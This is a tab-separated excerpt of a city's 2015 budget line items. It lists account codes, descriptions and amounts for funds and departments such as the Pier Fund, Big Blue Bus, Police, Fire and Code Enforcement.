16368	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2015	-42864.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-42864.0
16369	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522330.0	INVENTORY ISSUES	816.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16370	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	533670.0	IMAGING COSTS	816.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16371	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16372	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2015	1300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1300.0
16373	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	403721.0	SERIAL INEBRIATE GRANT LEASING	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16374	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	405680.0	EVENT ADMINISTRATION FEE	612.0	Charges for Service	2015	-16000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-16000.0
16375	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563126.0	WISE CONGREGATE MEALS		 Supplies and Expenses	2015	236000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	236000.0
16376	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT		DCAP	816.0	Salaries and Wages	2015	1434.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1434.0
16377	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522710.0	AUTO REIMBURSEMENT	816.0	 Supplies and Expenses	2015	990.0	0	0	0	0	0	0.0	0	0	0	0	0.0	990.0
16378	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2015	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
16379	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	403720.0	SERIAL INEBRIATE GRANT ADMIN	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16380	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562431.0	SHP-NEW DIRECTIONS	810.0	 Supplies and Expenses	2015	44605.0	0	0	0	0	0	0.0	0	0	0	0	0.0	44605.0
16381	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562433.0	SHP-STEP UP	810.0	 Supplies and Expenses	2015	87765.0	0	0	0	0	0	0.0	0	0	0	0	0.0	87765.0
16382	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569223.0	MORGAN-WIXSON THEATRE	810.0	 Supplies and Expenses	2015	9000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9000.0
16383	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2015	135001.0	0	0	0	0	0	0.0	0	0	0	0	0.0	135001.0
16384	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2015	369574.0	0	0	0	0	0	0.0	0	0	0	0	0.0	369574.0
16385	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	567220.0	PFA 2011A (PKG ST 6)	910.0	 Supplies and Expenses	2015	2666531.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2666531.0
16386	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401231.0	URBAN MASTER PLAN COPIES	618.0	Rentals	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16387	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2015	43451.0	0	0	0	0	0	0.0	0	0	0	0	0.0	43451.0
16388	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401980.0	CUPA PENALTY FEES	622.0	Other	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16389	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	3206.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3206.0
16390	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522180.0	BANK FEES		 Supplies and Expenses	2015	417.0	0	0	0	0	0	0.0	0	0	0	0	0.0	417.0
16391	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16392	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	88789.0	0	0	0	0	0	0.0	0	0	0	0	0.0	88789.0
16393	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		UNEMPLOYMENT	804.0	Salaries and Wages	2015	2671.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2671.0
16394	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		DCAP	804.0	Salaries and Wages	2015	360.0	0	0	0	0	0	0.0	0	0	0	0	0.0	360.0
16395	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2015	-14144.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-14144.0
16396	BA	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	576521.0	9-1-1 VOICE LOGGERS	806.0	 Supplies and Expenses	2015	85481.0	0	0	0	0	0	0.0	0	0	0	0	0.0	85481.0
16397	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555210.0	TRAINING	816.0	 Supplies and Expenses	2015	6000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6000.0
16398	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2015	6279.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6279.0
16399	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2015	21500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21500.0
16400	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522610.0	EQUIPMENT RENTAL	804.0	 Supplies and Expenses	2015	6500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6500.0
16401	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
16402	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2015	4996.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4996.0
16403	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511749.0	VISION	804.0	Salaries and Wages	2015	441.0	0	0	0	0	0	0.0	0	0	0	0	0.0	441.0
16404	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-43761.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-43761.0
16405	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-32019.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-32019.0
16406	BA	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577727.0	WCIL HOME ACCESS PROG-CDBG	810.0	 Supplies and Expenses	2015	36644.0	0	0	0	0	0	0.0	0	0	0	0	0.0	36644.0
16407	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	495425.0	0	0	0	0	0	0.0	0	0	0	0	0.0	495425.0
16408	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405690.0	SALE OF ADVERTISING PANELS	662.0	Other	2015	-10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-10000.0
16409	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522549.0	ADVERTISING PAYMENTS (CCB)		 Supplies and Expenses	2015	264000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	264000.0
16410	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404211.0	OTHER OPER REV-OUTSIDE ADVERTI	650.0	Charges for Service	2015	-400000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-400000.0
16411	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	569290.0	FIRE TRUCK MAINTENANCE REIMB	806.0	 Supplies and Expenses	2015	419871.0	0	0	0	0	0	0.0	0	0	0	0	0.0	419871.0
16412	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2015	394.0	0	0	0	0	0	0.0	0	0	0	0	0.0	394.0
16413	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		UNEMPLOYMENT		Salaries and Wages	2015	1061.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1061.0
16414	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522320.0	METERED POSTAGE		 Supplies and Expenses	2015	626.0	0	0	0	0	0	0.0	0	0	0	0	0.0	626.0
16415	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	8012.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8012.0
16416	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		YEAR-END CASH OUTS	840.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16417	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511010.0	ESTIMATED PAY RAISE	840.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16418	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511749.0	VISION		Salaries and Wages	2015	294.0	0	0	0	0	0	0.0	0	0	0	0	0.0	294.0
16419	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		DCAP		Salaries and Wages	2015	144.0	0	0	0	0	0	0.0	0	0	0	0	0.0	144.0
16420	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522720.0	MILEAGE	820.0	 Supplies and Expenses	2015	100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100.0
16421	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2015	132411.0	0	0	0	0	0	0.0	0	0	0	0	0.0	132411.0
16422	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2015	106026.0	0	0	0	0	0	0.0	0	0	0	0	0.0	106026.0
16423	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	109417.0	0	0	0	0	0	0.0	0	0	0	0	0.0	109417.0
16424	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2015	4634.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4634.0
16425	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2015	11500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11500.0
16426	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	555210.0	TRAINING	804.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
16427	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408280.0	FIRE EXTINGUSHER TRAINING	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16428	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2015	-41172.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-41172.0
16429	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	408330.0	LANDSCAPE & IRRIG ON-SITE INSP	612.0	Charges for Service	2015	-60000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-60000.0
16430	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555067.0	LANDFILL GAS CONTROL SYST.	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16431	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511749.0	VISION	804.0	Salaries and Wages	2015	588.0	0	0	0	0	0	0.0	0	0	0	0	0.0	588.0
16432	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		UNEMPLOYMENT	804.0	Salaries and Wages	2015	2072.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2072.0
16433	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		EAP	804.0	Salaries and Wages	2015	419.0	0	0	0	0	0	0.0	0	0	0	0	0.0	419.0
16434	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522130.0	UTILITIES - WATER		 Supplies and Expenses	2015	107368.0	0	0	0	0	0	0.0	0	0	0	0	0.0	107368.0
16435	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2015	4535.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4535.0
16436	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	544090.0	MEDICAL/FIRST AID SUPPLIES		 Supplies and Expenses	2015	100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100.0
16437	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	577240.0	SERVICE AGREEMENTS		 Supplies and Expenses	2015	263667.0	0	0	0	0	0	0.0	0	0	0	0	0.0	263667.0
16438	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	577940.0	REIMB FOR PARKING EXPEND		 Supplies and Expenses	2015	273611.0	0	0	0	0	0	0.0	0	0	0	0	0.0	273611.0
16439	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		EAP	804.0	Salaries and Wages	2015	524.0	0	0	0	0	0	0.0	0	0	0	0	0.0	524.0
16440	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	2466.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2466.0
16441	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2015	7116.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7116.0
16442	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
16443	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2015	19341.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19341.0
16444	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2015	-39887.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-39887.0
16445	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511748.0	DENTAL	804.0	Salaries and Wages	2015	4880.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4880.0
16446	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2015	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
16447	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	577300.0	PIER RESTORATION CORPORATION		 Supplies and Expenses	2015	503154.0	0	0	0	0	0	0.0	0	0	0	0	0.0	503154.0
16448	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-15558.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-15558.0
16449	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16450	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2015	5217.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5217.0
16451	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570290.0	TRANSFER OUT-LOW/MOD FD.	910.0	 Supplies and Expenses	2015	1200000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1200000.0
16452	BA	IS	1	General Fund	310	FIRE	315	TRAINING	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16453	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTILITIES-WATER-CITY HALL	808.0	 Supplies and Expenses	2015	15315.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15315.0
16454	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522860.0	FUEL MANAGEMENT SYSTEMS	806.0	 Supplies and Expenses	2015	8431.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8431.0
16455	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	400570.0	ADMIN FINES/PENALTIES	614.0	Fines and Forfeitures	2015	-335000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-335000.0
16456	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2015	740.0	0	0	0	0	0	0.0	0	0	0	0	0.0	740.0
16457	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2015	38763.0	0	0	0	0	0	0.0	0	0	0	0	0.0	38763.0
16458	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2015	49200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	49200.0
16459	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2015	3560.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3560.0
16460	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562432.0	SHP-ST JOE	810.0	 Supplies and Expenses	2015	63432.0	0	0	0	0	0	0.0	0	0	0	0	0.0	63432.0
16461	BA	IS	33	Airport Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2015	4751.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4751.0
16462	BA	IS	54	Vehicle Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2015	11708.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11708.0
16463	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2015	15899.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15899.0
16464	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	409080.0	ADULT SOCCER LEAGUE	612.0	Charges for Service	2015	-220000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-220000.0
16465	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2015	3540.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3540.0
16466	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		EAP		Salaries and Wages	2015	209.0	0	0	0	0	0	0.0	0	0	0	0	0.0	209.0
16467	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		LIFE INSURANCE & AD & D		Salaries and Wages	2015	744.0	0	0	0	0	0	0.0	0	0	0	0	0.0	744.0
16468	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2015	110589.0	0	0	0	0	0	0.0	0	0	0	0	0.0	110589.0
16469	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522120.0	UTILITIES - NATURAL GAS		 Supplies and Expenses	2015	6400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6400.0
16470	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2015	6617.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6617.0
16471	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	588110.0	TRAFFIC CONTROL EQUIPMENT	816.0	 Supplies and Expenses	2015	29574.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29574.0
16472	BA	IS	1	General Fund	310	FIRE	315	TRAINING	555215.0	OUTSIDE TRAINER PAYMENT	806.0	 Supplies and Expenses	2015	21286.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21286.0
16473	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CUST SUPPLIES CITY TV	808.0	 Supplies and Expenses	2015	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
16474	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544490.0	PRINT SHOP PRINTING	806.0	 Supplies and Expenses	2015	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
16475	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	566440.0	SPECIAL CLEANUP/MAINTENANCE	808.0	 Supplies and Expenses	2015	2400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2400.0
16476	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522119.0	UTIL-ELEC-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2015	48481.0	0	0	0	0	0	0.0	0	0	0	0	0.0	48481.0
16477	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522129.0	UTIL-GAS-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2015	1250.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1250.0
16478	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522135.0	UTILITIES - WATER - PSF	808.0	 Supplies and Expenses	2015	53332.0	0	0	0	0	0	0.0	0	0	0	0	0.0	53332.0
16479	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2015	-11240.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-11240.0
16480	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2015	-19635.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-19635.0
16481	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2015	-606916.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-606916.0
16482	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-18535.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-18535.0
16483	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16484	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2015	-29115.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-29115.0
16485	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511900.0	VACANCY SAVINGS	840.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16486	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511900.0	VACANCY SAVINGS		Salaries and Wages	2015	-20615.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-20615.0
16487	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511900.0	VACANCY SAVINGS		Salaries and Wages	2015	-10777.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-10777.0
16488	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2015	-106516.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-106516.0
16489	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 - FSS FORFEITURES	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16490	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2015	35190.0	0	0	0	0	0	0.0	0	0	0	0	0.0	35190.0
16491	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511749.0	VISION	816.0	Salaries and Wages	2015	2919.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2919.0
16492	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2015	6561.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6561.0
